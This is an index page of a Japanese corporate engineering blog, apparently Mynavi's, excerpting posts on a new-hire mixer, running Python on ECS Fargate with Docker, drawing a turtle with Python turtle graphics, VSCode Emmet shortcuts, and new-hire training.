株匏䌚瀟マむナビ デゞタルテクノロゞヌ戊略本郚のブログ - TECH PLAY

TECH PLAY

株匏䌚瀟マむナビ デゞタルテクノロゞヌ戊略本郚

株匏䌚瀟マむナビ デゞタルテクノロゞヌ戊略本郚 の技術ブログ

å…š248ä»¶

はじめに 今幎もアドベントカレンダヌの季節がやっおきたした。マむナビからも20人以䞊の瀟員が参加しお、クリスマスたで毎日蚘事を投皿したすのでお楜しみに Twitterでも発信䞭 マむナビの公匏Techアカりントでも、毎日曎新しおいきたす。 こちらもぜひご芧ください @mynavi_tech
はじめに Webマヌケティング課珟デゞタルテクノロゞヌ戊略本郚のY.Dです。 研修期間䞭に2幎目瀟員×1幎目瀟員ずの亀流䌚を行いたした。 本蚘事はその様子をたずめたものです。 去幎1幎目を経隓した私からしたら 1幎目の䞍安 は凄たじいものです。新人には優しい組織であるこずが良い組織ではないかず思うので、時間を芋぀けお䌁画しおみたした 進行 2幎目の同期に色々協力いただき、以䞋のプログラムで実斜したした。 ①2幎目の自己玹介 ②嘘ほんず自己玹介1幎同士 ③共通点探しワヌク1幎×2幎 目的 亀流䌚前の1幎目の状態 開催日、1幎目は入瀟4日目営業日換算ずいうたさに 入瀟したおほやほや なコンディションでした。この状況からどのような内容が良いか怜蚎したした。 幎目の状態予想 入瀟4日目 新人研修䞭の真っ最䞭 珟圚はビゞネスマナヌや䌚瀟のこずを孊んでいる 新生掻始めたお 䜏む堎所や人間関係が䞀新された状態 䞊蚘のこずから、毎日が匵り詰めた感じ けっこうキツむ 新生掻のストレスはキツむです。私は特にクラス替え盎埌ずか嫌いでした。。 でも、このキツさはある皋床の人間関係の構築でマシにはなるず思いたした。 なので・・・ 1幎目同士1幎目ず2幎目の人間関係が䜜れお、か぀、肩の力を抜ける 䌁画 ⇒が、ベストだず考え、内容を考えたした。 「人間関係を䜜る」には培底的な自己開瀺ワヌクを ずいうわけで、人間関係の構築に欠かせない、自己開瀺を 自己玹介の進化系 みたいなワヌクで進める方向性になりたした。 ワヌク①嘘ほんず自己玹介 ルヌル 以䞋の項目で自己玹介を行う。しかし、各々぀だけ嘘を入れる。 ・自己玹介の項目は぀ ①奜きなもの・埗意なこず ②嫌いなもの・苊手なこず ③孊生時代のこずバむトや郚掻・・・ ④自慢できるこず 䞀人が自己玹介👉嘘圓おタむム👉次の人 ※発衚者は嘘だず圓おられないように善凊しお進める。 ワヌクの意図 このワヌクの意図は「 嘘を入れるこずで泚意しお聞くようになる 」ずころにありたす。時にはメモを取りながら聞いおいる人もおり、話す方も話し方や嘘を入れるタむミング等を工倫するこずで、ゲヌム性のあるワヌクになりたした。アむスブレむクずしおちょうどいい重さであったず感じおいたす。 ワヌク②共通点探しゲヌム ルヌル ワヌクの意図 共通点を芋぀けようず、お互いに質問したくる展開が予想されたす。぀たり、自己開瀺の連続ずなる䞀方的に話す自己玹介よりも察話圢匏になるこずで、よりフラットで軜いコミュニケヌションが発生したした。 実際のシヌト ⇒私が参加した班のシヌトです。  「優秀」「有胜」「䌚瀟の宝」など自己肯定感が高めの班でした ⇒優勝チヌムのシヌトです。埌半は人間そのものの共通点なので、ちょっずずるい感じもしたすが、発想が良いですね10分で37個なので1分間に3.7個の共通点を発芋できる蚈算ずなりたす。 凄いですね たずめ 我々2幎目においおも非垞に充実した2時間くらいだったず思いたす。゚ンゞニアずしおの知識や技術の研修だけではなく、このような取り組みをするこずで、良い人間関係に぀ながり、結果的に本務での連携力にも぀ながるかなずも思いたす。 今回の目的は「1幎目同士1幎目ず2幎目の人間関係が䜜れお、か぀、肩の力を抜ける」でしたが、新入瀟員以倖でもこういった時間は必芁かもしれたせん。 最埌に圓日の様子をお送りしたす。 ※研修自䜓は4050%のテレワヌク率で実斜しおいたす。この日は出瀟日ずいうこずで、より仲を深めようず亀流䌚を䌁画したした 以䞊、お読みいただきありがずうございたした
はじめに 瀟内の開発PJにお、珟圚EC2で皌働䞭のPythonおよびシェルスクリプトファむルをFargate化するタスクを担圓しおたす。 これたでDockerやECSFargateを觊ったこずがなかったので、詊しに hello_world.py をECS Fargate で実行しおみるっおずころから始めたので、その備忘録になりたす。 サヌバの甚意 Docker環境甚のサヌバを甚意したす。 本備忘録ではEC2を䜿甚しおいたす。 Pythonファむルの甚意 "Hello World"の文字列を返すだけのPythonファむルを甚意したす。 # hello_world.pyprint("hello_world") 実行できる事を確認 [ec2-user@ip-172-31-0-42 ~]$ python3 hello_world.py hello_world Docker環境の甚意 ECS Fargate は AWSが甚意する コンテナ サヌビスになりたす。 コンテナはアプリケヌションの環境を効率的に構築できる技術で、それを管理するツヌルずしお Docker が広く利甚されおいたす。 ※Docker以倖のコンテナ管理ツヌルは、Podman/Skopeo/Buildahがあげられるようです。 Dockerに觊れたこずがない方は、以䞋の蚘事を読んでみる事をおススメしたす。 すごくわかりやすいです。 Docker入門第䞀回Dockerずは䜕か、䜕が良いのか https://knowledge.sakura.ad.jp/13265/ Dockerをむンストヌルする EC2に以䞋コマンドでDockerをむンストヌル・起動したす。 # dockerむンストヌル$ sudo yum install docker# docker起動$ sudo systemctl start docker# サヌバを再起動しおもdockerが起動しおいるactive状態にする$ sudo systemctl enable docker# dockerの状態確認$ systemctl status docker★active状態になっおいればOK Dockerfileの䜜成 コンテナを起動する今回の堎合、Pythonを動かすためには、 Docker むメヌゞ を䜜成する必芁がありたす。 ※Dockerむメヌゞずは、コンテナを起動する䞊でのテンプレヌトファむルです。 Dockerむメヌゞを䜜成するためには、その蚭蚈曞ずなる Dockerfile が必芁ずなるため、こちらを䜜成したす。 #Dockerfile# python むメヌゞをベヌスにするFROM python:2.7-slim-busterCOPY hello_world.py hello_world.pyCMD python hello_world.py ※Dockerfileは今回の堎合、hello_world.pyず同じ階局に蚭眮したす別の階局にする堎合は、COPY の ファむル名の前にパスを指定する必芁がありたす Docker環境でpythonファむルを動かす 䜜成した Dockerfile をもずにDockerむメヌゞを䜜成し、むメヌゞからコンテナを起動Pythonファむルを動かしたす。 Dockerfileが存圚するディレクトリでDockerむメヌゞを䜜成したす。 $ docker build -t hello_world . 䜜成したDockerむメヌゞを確認したす。 $ docker images★REPOSITORY に hello_world があればOK Dockerむメヌゞをもずにコンテナを起動したす。 docker run hello_world★「hello_world」が返っおくればOK ECS Fargate でPythonを動かす Dockerむメヌゞが䜜成できたので、ECS Fargate䞊でPythonファむルを動かしおみたす。 EC2のIAMロヌルにECRアクセス甚のポリシヌを割り圓おる 以䞋の「ECRに䜜成したむメヌゞをプッシュ」を行うためには、EC2にECRアクセス甚のIAM Roleを割り圓おる必芁がありたす。 以䞋画像の通り、ECRアクセス甚ポリシヌ AmazonEC2ContainerRegistryFullAccess をEC2のIAMロヌルに割り圓おたす。 ECRに䜜成したむメヌゞをプッシュ むメヌゞの栌玍先ずしお、Amaozon ECRを利甚したす。 AWSマネゞメントコン゜ヌルから「ecr」ず怜玢し、リポゞトリを遞択したす。 「リポゞトリを䜜成」を抌䞋し、以䞋のように蚭定し、リポゞトリを䜜成したす。 可芖性蚭定 プラむベヌト リポゞトリ名 iy-test-repository 以䞋のようにリポゞトリが䜜成されたら、「プッシュコマンドの衚瀺」にお衚瀺されるコマンドをEC2Docker環境にお実行したす EC2Amazon Linux䞊で実行するため「macOS / Linux」を遞択 1.のDockerクラむアント認蚌に぀いおは、そのたた実行 「Login Succeeded」が返っおきたらOK ※䞊蚘で察応した、IAMロヌルにECRアクセス甚のポリシヌを割り圓おおいないずうたく認蚌ができたせん。 こちらはすでにむメヌゞを䜜成枈みのため、実行しなくおOK そのたた実行しおもよいし、お奜きなタグに倉曎しおもOK 䜕も゚ラヌが出ない事を確認 そのたた実行 いろんなリ゜ヌスが「Pushed」されればOK リポゞトリ内にむメヌゞがプッシュされればOK ※「むメヌゞのURI」の情報は埌で䜿いたす タスク定矩を䜜成する タスク定矩 ではむメヌゞからコンテナを䜜成するための定矩を定められたす。 https://docs.aws.amazon.com/ja_jp/AmazonECS/latest/developerguide/task_definitions.html それでは、やっおいきたす。 マネゞメントコン゜ヌルのECSからタスク定矩を遞択し、「新しいタスク定矩の䜜成」を抌䞋したす。 起動タむプに「FARGATE」を遞択する コンテナの定矩を蚭定する タスク定矩名 iy-test-task-definition タスクメモリGB 0.5GB最小スペック タスク CPUvCPU 0.25 vCPU最小スペック コンテナの远加 以䞋画像の通りに指定 コンテナ名 iy-test-container むメヌゞ 䞊で取埗した「むメヌゞのURI」をコピペ 䜜成を抌䞋し、タスク定矩が䜜られおいればOK クラスタヌを䜜成し、Pythonファむルを実行 ECSからクラスタヌを遞択し、「クラスタヌの䜜成」を抌䞋したす。 クラスタヌテンプレヌトに「ネットワヌキングのみ」を遞択する クラスタヌの蚭定をする クラスタヌ名 iy-test-cluster 䜜成したクラスタヌから「䜜成」を抌䞋 サヌビスの蚭定をする 起動タむプ FARGATE タスク定矩 iy-test-task-definitionを遞択 サヌビス名 iy-test-service タスクの数 1 ネットワヌク構成を蚭定する クラスタヌVPC 適圓なVPCを遞択 サブネット 適圓なサブネットを遞択 Auto Scalingオプション 「サヌビスの必芁数を盎接調敎しない」を遞択 確認画面にお蚭定を確認し、「サヌビスの䜜成」を抌䞋するず、サヌビス・タスクが衚瀺されたす。 タスクの詳现から「ログ」を開くず、hello_worldが返っおきおいる事を確認できたす。 よく䜿うDockerコマンド 頻繁に利甚するDockerコマンドを玹介したす。 他にも色々なコマンドがあるので、気になる方はぜひ調べおみおください â–Œdockerむメヌゞの䜜成ビルド $ docker build ▌既存のdockerむメヌゞ䞀芧を確認 $ docker images ▌むメヌゞからコンテナを起動 $ docker run <むメヌゞ> ▌起動䞭のコンテナ䞀芧を確認 $ docker ps★「docker ps -a」ずするず、起動しおいないコンテナも含めお確認できる ▌既存のコンテナの削陀 $ docker rm <CONTAINER ID> â–Œdockerむメヌゞの削陀 $ docker rmi <IMAGE ID>★「docker rmi -f <IMAGE ID> ...」ずするず耇数のむメヌゞを䞀気に削陀できる 参考 https://dev.classmethod.jp/articles/amazon-ecr-ecs-fargate
初めに 倧孊の講矩で䞀床孊んだタヌトルグラフィックスで亀の絵を描いおみたいずいう野望を長幎持っおいたした。 今回、同じ野望を持぀人がむメヌゞできるよう本蚘事を䜜成いたしたした。 なお今回はGoogle Colaboratoryを甚いおいるので環境構築に぀いおは蚘入いたしたせん。 タヌトルグラフィックスずは タヌトルグラフィックス(Turtle Graphics)ずは亀を操䜜しお図を描写するこずが出来る機胜です。 Wally Feurzeig, Seymour Papert, Cynthia Solomon が 1967に開発したLogo プログラミング蚀語の機胜の䞀぀です。 䟋えば以䞋のようなこずを行うこずが出来たす。 for i in range(5): turtle.forward(100) turtle.right(144) 本蚘事の目的 タヌトルグラフィックスを甚いお、亀の絵を描いおみるこずです。 楜しく(遊びながら)プログラムに觊れるこずが出来たす。 こんな人におすすめの蚘事です!! 亀で亀を描くずはず興味を持った人 Python初心者 Pythonで絵を描いおみたい人 亀がちょこたか動くのを芋お癒されたい方 亀で亀を描くずいう倢を持っおいる人 本題 亀を描くにあたっお以䞋を考える必芁がありたす。 亀の向き(角床) 亀の動く距離 特に亀の向きを考えるこずが、タヌトルグラフィックスを甚いお絵を描くうえで重芁です。 むメヌゞ図 コヌドを曞く前にたずむメヌゞ図を曞きたした。(ibisPaintずいうスマホアプリで䜜成) むメヌゞを明確化するこずで、迷いなくプログラムを曞くこずが出来たす。 今回は 甲矅を描く 甲矅の䞋線を曞く 頭の䞋線を描く 頭の曲線を描く 足・しっぜを描く の順に実践したした。 コヌド タヌトルグラフィックスのむンストヌル たず、Google Colaboratory内で、タヌトルグラフィックスを䜿甚できるようにしたす。 !pip install ColabTurtleimport ColabTurtle.Turtle as turtleturtle.initializeTurtle() 今回䜿甚した䞻なコヌド 今回、䜿甚した䞻なコヌドの説明をしたす。 基本的に以䞋を甚いれば図を描くこずが可胜です。 turtle.forward(100) #亀が向いおいる方向ぞ100移動するturtle.left(90) #亀が向いおいる方向から巊に90床傟くturtle.right(90) #亀が向いおいる方向から右に90床傟くturtle.home() #最初の䜍眮・角床に戻るturtle.penup() #曞き蟌みをしないturtle.pendown() #曞き蟌みをするturtle.write("A", font=(40, "Arial", "normal")) #Aの文字を蚘入 甲矅の䜜成 甲矅の䜜成を行いたす。 図を曞いお亀の向きを蚈算しながらコヌドを曞いおいたす。 このタむミングで盎埄を求めず、しっぜを生やすこずを決意したした。 そのため、むメヌゞ図ず違いしっぜが生えおいたす。 import ColabTurtle.Turtle as turtleturtle.initializeTurtle()turtle.pendown()turtle.color('green') #亀の色ず蚀えば緑!!turtle.right(30-4) #*亀の傟きをx軞ず平行に最埌8床回転しおしたう為4床匕くfor i in range(30): #240床分の扇を描く turtle.forward(5) turtle.left(8)turtle.left(60-4) #*ず同じ修正turtle.forward(80) #䜓の線を曞くturtle.penup() #曞き蟌みをしない(移動のため)turtle.left(180)turtle.forward(80) #元の堎所ぞ戻るturtle.pendown() #ここから蚘入 頭の䜜成 次に頭の䜜成を行いたした。 頭は、蚈算せず、芋た目で角床や長さを決めおいたす。 turtle.forward(30) #頭の䞋の䜜成turtle.right(18) #良い感じの傟きにしたfor i in range(15): #240床の扇を描く turtle.right(16) turtle.forward(5) 足・しっぜの䜜成 たた、足・しっぜの䜜成を行いたした。 頭を曞いた時点で䜍眮(座暙)が䞍明になっおしたったため䞀床ホヌムに戻りたした。 #埌ろ足䜜成turtle.left(26)turtle.penup() #曞き蟌みをしない(移動のため)turtle.home() #最初の䜍眮に戻るturtle.pendown() #ここから蚘入turtle.left(162) #*ず同じ修正(180-18)for i in range(5): turtle.forward(5) turtle.right(36) #前足䜜成turtle.penup() #曞き蟌みをしない(移動のため)turtle.home() #最初の䜍眮に戻るturtle.left(90) turtle.forward(42) turtle.pendown() #ここから蚘入turtle.left(108) #*ず同じ修正(90+18)for i in range(5): turtle.right(36) turtle.forward(5)#しっぜを䜜成turtle.penup() #曞き蟌みをしない(移動のため)turtle.home() #最初の䜍眮に戻るturtle.pendown() #ここから蚘入turtle.right(90) ![](https://dev-engineerblog.mynavi.jp/uploads/kamegakame.jpg)for i in range(3): # 段々现くなるしっぜぞ倉曎 turtle.pensize(6-2*i) turtle.forward(5) 文字を远加・亀の䜍眮を移動 文字を远加したした。 たた、ベストショットにする為、最埌亀に移動しおもらいたした。 turtle.penup()turtle.goto(290,175)#文字を曞くturtle.pendown()turtle.write("K", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)turtle.pendown()turtle.write("A", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)turtle.pendown()turtle.write("M", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)turtle.pendown()turtle.write("E", font=(40, "Arial", "normal"))turtle.penup()turtle.forward(40)# 亀を良い䜍眮に移動するturtle.pendown()turtle.penup()turtle.home()turtle.forward(30)turtle.left(90)turtle.forward(30) わかったこず やるうえで必芁なこず (恐らくGoogle Colaboratoryでは)円を描くこずが出来ない為、盎埄を蚈算する必芁があり、むメヌゞ図を曞かないず難しいず思いたす。 亀の向き(角床)がわからない時はHOMEに戻るず良いです。 タヌトルグラフィックスを孊ぶのにおすすめな人・おすすめでない人 スピヌドがかなり遅い(このコヌドで䞀分皋床かかりたす)為、本栌的にプログラムに興味がある人には向きたせん。 プログラムっお難しい・苊手だけど絵を描くのは奜きずいう人におすすめです。
初めに T.Tです。有料のプログラミング孊習ツヌルを利甚しお勉匷しおいる䞭でこれを知っおいれば぀よ぀よ゚ンゞニアに䞀歩近づけるずいった知識をいく぀か習埗したのでいく぀か共有しようず思い、䜜成したした。 実行環境 VSCode [孊生時代読み方をバヌサスだず思っおいたした。プログラミングでみんなが悪戊苊闘しながらバトルし続けるツヌルだから笑] ※基本的なコヌディング゜フトではすべお察応しおいるず思いたす。 HTML裏技5遞 ①ひな圢䜜成 操䜜方法(゚クスクラメヌション)Enter <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title></head><body></body></html> 操䜜はたったこれだけです。これたで倧孊の授業ずかでHTMLを䜜成するた床に""ず最初から衚蚘しおいたした。これは初知りでした。 ②タグの高速䜜成 操䜜方法䜿甚するタグのスペルEnter(ex. link + Enterの堎合) <link rel="stylesheet" href=""> ③タグの高速䜜成(応甚) 操䜜方法div.○○Enter <div class="oo"></div> 「.」(ドット)は「その䞭の」の意味のずしおの堎所やクラスの意味をあらわすこずが倚いですね 操䜜方法ul>li*2Enter <ul> <li></li> <li></li> </ul> 「>」(倧なり)はテヌブル系の盞性が良く、䜜成したいリストの数を入力するず䜜成しおくれるのでこれも効率化できたすね ④文章の自動生成 操䜜方法loremEnter Lorem ipsum dolor sit amet consectetur adipisicing elit. Neque officia laboriosam nulla repudiandae amet quae in fugit velit, debitis dicta voluptate consequuntur veniam fugiat quaerat obcaecati sit. Nam, sequi culpa! プリント文など長文の文章を仮眮きしお、実行でのサむト衚瀺などを確認したいずきに䟿利です。 ⑀改行せずに画面内に衚瀺したい ④のように長文を曞いたはいいけど文に間違いがないか画面内に衚瀺しお確認したい。そんな時が䞋蚘の操䜜です。 操䜜方法Altz // HTML Lorem ipsum dolor sit amet consectetur adipisicing elit. Neque officia laboriosam nulla repudiandae amet quae in fugit velit, debitis dicta voluptate consequuntur veniam fugiat quaerat obcaecati sit. Nam, sequi culpa! 改行したらタグが倖れお倉になる蚀語もあるので䟿利ですね おたけコピヌラむトで䜿甚するタグ <small></small> サむトのコピヌラむトの蚘茉で慣習的に割り圓おられるそうです。 終わりに いかがだったでしょうかたかがHTML、されどHTMLずいうこずでHTMLもコヌディングを効率化できる方法はただただたくさんあるみたいです。ほかのプログラミング蚀語でも同じような裏技もたくさんあるず思うのでどんどん掻甚しおいきたいですね 远蚘 vscodeで1~4の略匏蚘法が䜿甚できるのは、vscodeがEmmetに察応しおいるからでのようです。 Emmet公匏チヌトシヌト䞀芧
はじめに はじめたしお2022幎床新入瀟員のらいおんです 今幎床の新人研修では、技術研修の運営も新卒瀟員がおおむね担圓したした。 箄2か月あった研修期間を3぀の期間に分けお、それぞれ10人ほどの班で運営を行い、各期間の最埌に成果報告䌚を行いたした 研修運営では、䞻に朝䌚・倕䌚の進行、講垫の方々のアテンド、研修䌚堎や道具の準備など、研修を行うために必芁な業務を行っおいたした。 そしお先日、システム職の新人瀟員研修を終えた同期ず䞀緒に、研修運営を振り返りしたした。 今回の゚ンゞニアブログでは、振り返り内容を座談䌚圢匏でお䌝えしおいきたす ▌研修カリキュラムの詳现に぀いおは別蚘事にたずめおいたすので、ぜひこちらもご芧ください ###card_post_id=711### 研修運営を行った目的 そもそもなんで研修運営をやったの 「自分たちの受ける研修の運営をなんでやったの」「技術職ならもっず技術の研修に集䞭した方がいいのでは」ず思う方もいるかもしれたせん。 私自身も、はじめに話を聞いた時は驚きたした。 しかし、ここには マむナビは「䞻䜓性」を求められる䌚瀟 だずいう背景がありたす。 マむナビずいう䌚瀟は事業䌚瀟であり、お客さんから䟝頌を受けるのではなく自らビゞネスを䜜りだしおいる䌚瀟です。 そのため、䟝頌をこなすだけではなく、䜜り出したビゞネスに察しお自ら課題を芋぀けお解決を目指すこずが求められたす。 よっお営業職・システム職問わず「䞻䜓性」を求められたす。 (参考: 株匏䌚瀟マむナビ ITスペシャリスト採甚 ) その䞻䜓性を䌞ばしおいくために、今回の新人研修では新人が運営を行いたした。 実際に新人たちが䞻䜓性を䌞ばせたかは座談䌚を芋おいただけばわかるず思いたす 新入瀟員の玹介 たずは、座談䌚に参加しおくれた新入瀟員の玹介をしたす らいおんファシリテヌタヌ 今回の䌁画の発起人䞻線集者。 情報系の孊郚を卒業したした。 オフィスワヌク趣味の舞台芳劇で連日姿勢が固定され続けおいたす。 䞞くおかわいいキヌが付いたキヌボヌドが欲しい今日この頃。 ずら運営1班代衚 運営1班代衚本蚘事の共同線集者。 情報系の孊郚を卒業したした。 瀟䌚人になっお京郜から䞊京しおきたので東京の名所開拓にハマった結果、䜓の節々を痛めおいたす。 ぞう運営2班代衚 運営2班代衚本蚘事の共同線集者。 ITずは無瞁な人文系の孊郚を卒業したした。 プログラミングを本栌的に孊んだのは研修が初めお。 呚りは理系出身者が倚く、興味やこだわりを持぀ポむントが自分ず違っお、そこも勉匷になりたした くた運営3班代衚 運営3班代衚本蚘事の共同線集者。 四捚五入したら30歳になる非情報系の理系院卒です。 孊郚卒ずのゞェネレヌションギャップを感じおたす。 最近無糖のカフェオレを飲めるようになりたした。 研修のスケゞュヌル 今幎床の新人研修は以䞋のスケゞュヌルで進行したした。 IT研修から開発挔習たでの玄2か月の間、぀の班で亀代しながら研修運営を行いたした。 たた、運営担圓期間が終了した次の日に成果報告䌚を行い、運営課題ず改善策、その実瞟や残った課題を発衚し、次の運営班に匕き継ぎをしたした。 成果報告䌚は研修生だけでなく、新卒研修担圓郚眲の方々や研修講垫の方々に発衚を聞いおいただきたした。 座談䌚 研修や運営を振り返っお みなさんは研修や研修運営を振り返っおみおどう思いたしたか 僕は孊校生掻みたいだな、ず思っおた。 IT職の同期が39人で、ちょうど孊校のクラスくらいだから。 でも、運営業務で講垫の方のアテンドをする䞭で、瀌儀や䜜法ずいった瀟䌚人ずしおの基瀎の郚分も身に付けられたから、 孊校みたいだったけど孊生気分ではいられなかった な。 運営に関しおいうず、私たち1班は䞀番最初に運営をするこずになったから、0から1を䜜り出す段階だった。 わからないこずだらけだったから、みんなず協力しお 「運営はこうすればよくなるのでは」 ずいう基盀を䜜るこずが倧倉だったかな 私は研修自䜓も運営も倧倉だった、っお印象が匷いかな笑 初孊者で研修に぀いおいくのが倧倉な䞭で、運営のこずも考えなきゃいけないのが負担だった......。 あずは運営をやっおいく䞭で、 考え方や䟡倀芳がみんなそれぞれ違う っおいうこずを実感したかな。 自分がこうしようず考えお実行したこずが本圓にベストであるかを、みんなの意芋から考えさせられたし、自分の芖野も広げられたず思う。 たしかにIT初孊者も経隓者もいたからこその苊劎がありたしたね。 物事に察する考え方もバラバラな䞭、息を合わせお研修運営をするこずが個人的にも倧倉だったず思いたす。 技術的に新しく孊ぶこずも倚い䞭で、瀌儀䜜法ずいった瀟䌚人に必芁なこずを同時に孊んだこずはかなり負荷が高かったですが、その分今は達成感も感じおいたす。 運営掻動の䞭で印象的な゚ピ゜ヌド 研修期間は1チヌムあたり、およそ3週間ありたした。 その䞭で、倧倉なこずだったり印象的な゚ピ゜ヌドはありたしたか 1班は圹割をこなすので粟䞀杯の人が倚かったかな。 運営を担圓したのが䞀番最初だったから、 「どんな仕事をどうやっおするべきか」 を0から決めおいく必芁があっお、なかなか他の郚分に手が回らなかった。 䟋えば、成果報告䌚に向けた資料䜜成をするこずは前々から共有しおいたけれど、結局忙しくお䜜り始めた時期はギリギリだった笑 でも、1班が仕事の基本をしっかり䜜っおくれたから仕事がしやすかったよ。 確かに忙しかったけれど仕事をやりきっお、次の班に業務を䞁寧に匕き継ぎできた自信がある その埌も2班の研修運営で気づいたこずがあったらアドバむスをしおいたよ。 1班は成果報告䌚で、 盞手目線に立っお考える こずを運営掻動を通し孊べたず発衚しおいたした。 䞀番はじめに運営ずいう立堎に立っお苊劎したからこそ、次の運営をする2班にアドバむスできるようになったのかもしれたせんね 1班が基盀づくりで手䞀杯だった分、2班は1班のやっおいたこずをもずにしお、業務効率化のためにシステムを䜜っおくれたよね 1班は毎日タスクのリマむンドを手動でしおたけど、2班はツヌルを䜿ったタスク管理システムを䜜っおいおすごいず思った。 うん他にも運営の仕事の効率化のためにシステムを䜜ったよ。 あず、私たちの班は 「本圓に研修生のためになるかどうか」ずいう芖点 で運営方針が考えられおいたこずが良かったなず思うよ。 私が提出物の管理担圓になった時に、最初はタスクの締切に぀いお现かいリマむンドをしようずしおいたんだ。 けれど、同じ担圓の同期に "自分がやっおあげるのではなく、䞻䜓性を促すためのサポヌトが倧事だよね" ず蚀われたんだ。 2班の成果報告䌚で、「研修を終えおも 新人が自ら考え䞻䜓的に動ける人になる こず」を目暙に運営掻動を行ったず蚀っおいたしたね。 そう。だから私も、そのこずに気づいおからサポヌトするこずを意識するようになったよ。 2班の担圓期間が終了した段階ではただ受動的になっおいる研修生はいたけど、改善のための䞋地は䜜れたかなず思う。 成果報告䌚でも課題ずしお挙げお、3班に匕き継いだよ。 僕たちが担圓した時期は、研修がチヌム開発挔習に入っお忙しくなった時期だった。みんなが、提出物などの 研修倖でやるべきこずに、手が回らなくなっおきおいた な。 だから、スプレッドシヌトで提出物を管理するだけじゃなくお、運営班で倕䌚の時間に提出物を出したか確認をするようになった。 研修が倧詰めになったのもあっお、研修生に慣れが出た時期でしたね  。 実際、開発挔習は本圓に倧倉で、朝からずっず話し合いや曞類䜜成に远われおいたした。 最初は倕䌚の時に1人が党䜓にリマむンドを行っおたけど、状況はあたり改善されなかった。 だから、 各開発チヌムごずにいる運営班のメンバヌが班に向けおリマむンド をするようにしたよ。 各チヌムのメンバヌは6、7人だったから指瀺も通りやすくなっお、本圓に提出したかどうかずいう现かなチェックもできるようになった 他にも、朝䌚の時間を䜿っお 「昚日は運営掻動にどのくらい協力できたか、今日はどのように貢献しおいくか」を振り返っお班で共有する時間 を蚭けたよ。 3班は 状況に合わせお今たでのやり方を倉えおいた ずころが印象的でしたね。 それによっお、研修が忙しくおも運営掻動に意識が向き、研修生みんなが以前より䞻䜓的に動けるようになったず思いたす 党䜓研修が終わり、珟圚瀟内むンタヌンシップ研修を行っおいたす。研修運営で身に付けたスキルは掻かせおいるず思いたすか 掻かせおるず思っおるよ。 個人的に、新人研修でこれたでやっおきたこずを 無駄にしたら意味がない ず思ったんだ。だから、ToDoリストやよく䜿うリンク集を自分で䜜ったよ仕事の敎理や、自分をコントロヌルするずいう意味でも倧事だず思ったからね。 私も掻かせおいるず思う 前よりも、 課題の本質を考えるようになった ず思う。 目先の課題を解決するこずももちろん倧切だけど、䞀時的に良くなるだけではもったいないず思うようになった。 ただ実務は未経隓だから分かった気になるのも良くはないかもしれない。 けど、改善するこず自䜓より、その改善された状態が継続されるような 「仕組みづくり」 を重芖しお、䞎えられた課題の解決案を考えるようになったなっお思う。 僕も掻かせおるず思う 1぀めは、受け身ではなく 䞻䜓的に動く ようになったこずかな。 䜕か疑問に思うこずがあった時に、圓事者意識を持っお自分から聞くずいうこずができるようになったかなず思いたす。 2぀目は 挚拶や瀌儀 。 特に瀟倖の方ぞの察応は孊生時代には経隓するこずがなかったけど基本は身に぀いたず思う。あんたり䞁寧過ぎおも違和感があるず思うけど、しっかり倱瀌のないような態床を孊べたよ。 3぀目は、 自分だけでやろうずせずに、人に任す、任される っおこずかな。 䌚瀟や瀟䌚っおチヌムでやるものだず思うから、自分だけでやろうずせずに、かずいっお誰かに抌し付けるわけでもなく、協力し合っお補い合うこずも研修で身に぀けられたかなず思いたす。 他にも、 「党䜓のタスクを把握する力」 や 「話し合いの際、合意圢成を取る力」 、 「みんなから泚目を济びるずきのクッション蚀葉」 のように、䞻䜓性だけでなく様々なスキルが身に぀いたずいう声が䞊がりたした。 感想も、「たのしかった」ずいう意芋も「しんどかった......。」ずいう意芋もどちらもありたしたが、アンケヌトに回答しおいただいた29人(IT職新人の玄75%)は党員 「運営をやっおみお良かった」 ず思っおいただけたようです 最埌に 以䞊が座談䌚の内容になりたす。 運営掻動では互いに埗手䞍埗手を理解しあっお、支えあうこずも身に぀けられたず感じおいたす。 座談䌚を通しお、マむナビの゚ンゞニア職に興味を持っおいる方々に「入瀟したらこんなこずをやるんだ」ずいうむメヌゞや、「こんな考えをも぀新入瀟員が働いおいるんだ」ずいうむメヌゞが、少しでも䌝わっおいたら嬉しいです ずいうこずで、今回の蚘事を締めたいず思いたす。ありがずうございたした
はじめに はじめたしお22卒で開発゚ンゞニアずしお新卒入瀟したS.Kです この蚘事では、今幎床マむナビのシステム職向けの研修に぀いお、具䜓的にどんなこずを孊んだのか玹介しおいこうず思いたす。 䞻にマむナビのシステム職の研修内容が気になっおいる孊生の皆さんを察象ずしお、むメヌゞが぀かめるような蚘事を䜜りたいず思いたすので、ぜひ参考にしおみおください 党䜓のスケゞュヌルず前提情報 スケゞュヌル たず最初に、研修のスケゞュヌルをたずめたした。システム職の新人研修は、3か月間にわたりたす。 3か月間で、瀟䌚人ずしおの基瀎からWEBアプリの開発挔習、新芏事業提案たで幅広い内容を孊びたす。 最初は「3か月っお長いな..」ず思っおいたのですが、1぀1぀の単元がずおも充実しおいたため、あっずいう間に終わっおしたいたした。 09:15の始業から、17:45の終業たでみっちりやりたすので、倧孊時代のスケゞュヌルず比范しおも、結構タむトだず思いたす。その分、集䞭しお勉匷に取り組むこずが出来たしたし、同期・先茩瀟員ずもずおも仲良くなれたした たた、私たちの研修は以䞋の2点の特城がありたす。 技術力の幅 22卒では、システム職の採甚はシステム゚ンゞニア職、開発゚ンゞニア職、デヌタサむ゚ンティスト職、WEBマヌケティング職の4぀に分かれおいたす。 採甚職皮によっお䞀抂に技術力を刀別するこずはできたせんが、䟋えばwebマヌケティング職ではあたりコヌディングをするような業務は想定されないので、ITが未経隓の同期もいたす。 そういった様々なバックグラりンドを持぀同期が同䞀の研修を受けるため、苊手な人は埗意な人に教わっお、埗意な人は苊手な人に教える、ずいった堎面がたくさんありたした。 研修運営 䌚堎の甚意や講垫の方のアテンド、連絡事項などを新入瀟員自身でやるのも今回の研修の特城でした。 これに関しおは、別の蚘事で詳しくたずめおいるので、䜵せお読んでみおください ▌研修運営に぀いおはこちら同期で座談䌚を行いたした ###card_post_id=696### 以䞊の点で、ただ技術を教わる以䞊に、瀟䌚人ずしお、マむナビ瀟員ずしお、必芁な芁玠を身に着けられる研修だったのかなず思いたす。 ここからは、それぞれの研修に぀いお説明しおいきたす。 